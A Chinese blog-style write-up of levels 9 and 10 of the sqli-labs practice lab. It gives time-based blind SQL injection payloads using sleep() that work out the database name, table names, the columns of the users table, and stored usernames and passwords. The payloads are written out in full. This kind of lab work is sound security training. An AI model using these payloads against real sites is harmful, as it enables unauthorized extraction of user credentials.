SQL注入sqli_labs靶场第九、十题

第九题

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面正常

?id=1' and '1'='1 页面正常

?id=1' and '1'='2 页面正常

输入任何信息,均显示相同页面,尝试延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1' and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为单引号注入

延时注入:

判断数据库名字长度

?id=1' and if(length(database())=8,sleep(3),1)--+

逐一猜解数据库名字(用二分法 ascii码不断缩小范围)

?id=1' and if(ascii(mid((select database()),1,1))=115,sleep(3),1)--+

判断所有表名长度

?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(3),1)--+

逐一猜解表名

?id=1' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>64,sleep(3),1)--+

判断所有字段名的长度

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(3),1)--+

逐一猜解字段名

?id=1'and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>100,sleep(3),1)--+

判断字段内容长度

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(3),1)--+

逐一检测内容

?id=1' and if(ascii(mid((select group_concat(username,password) from users),1,1))>50,sleep(3),1)--+

第十题

和第九题情况相同,无论输入什么,回显内容均相同

进行延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1" and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为双引号注入

剩余步骤与第九题相同

相关推荐
2503_946971865 小时前
【Kernel/Consensus】2026年度第二周内核重构与分布式共识战争基准索引 (Benchmark Index)
网络安全·微服务·重构·数据集·分布式系统·系统内核
霖霖总总5 小时前
[小技巧15]深入解读 MySQL sql_mode:从原理到实践,规避常见坑
sql·mysql
Filotimo_5 小时前
桥接服务概念
网络协议·网络安全·信息与通信
菩提小狗6 小时前
SQL注入之sqlmap|web安全|渗透测试|网络安全
数据库·sql·web安全
枷锁—sha6 小时前
【BUUCTF系列】helloworld 1
安全·网络安全
MOON404☾6 小时前
004.漏洞分析与利用
前端·网络·网络安全·系统安全·firefox
m0_598177237 小时前
SQL核心(1)
数据库·sql
DarkAthena7 小时前
【GaussDB】数据静止状态下同一个SQL或同一个存储过程执行第6次报错的问题排查
数据库·sql·gaussdb
l1t7 小时前
郭其先生利用DeepSeek实现的PostgreSQL递归CTE实现DFS写法
sql·算法·postgresql·深度优先
尽兴-7 小时前
MySQL 中一条 SQL 的执行流程详解
sql·mysql·adb·dba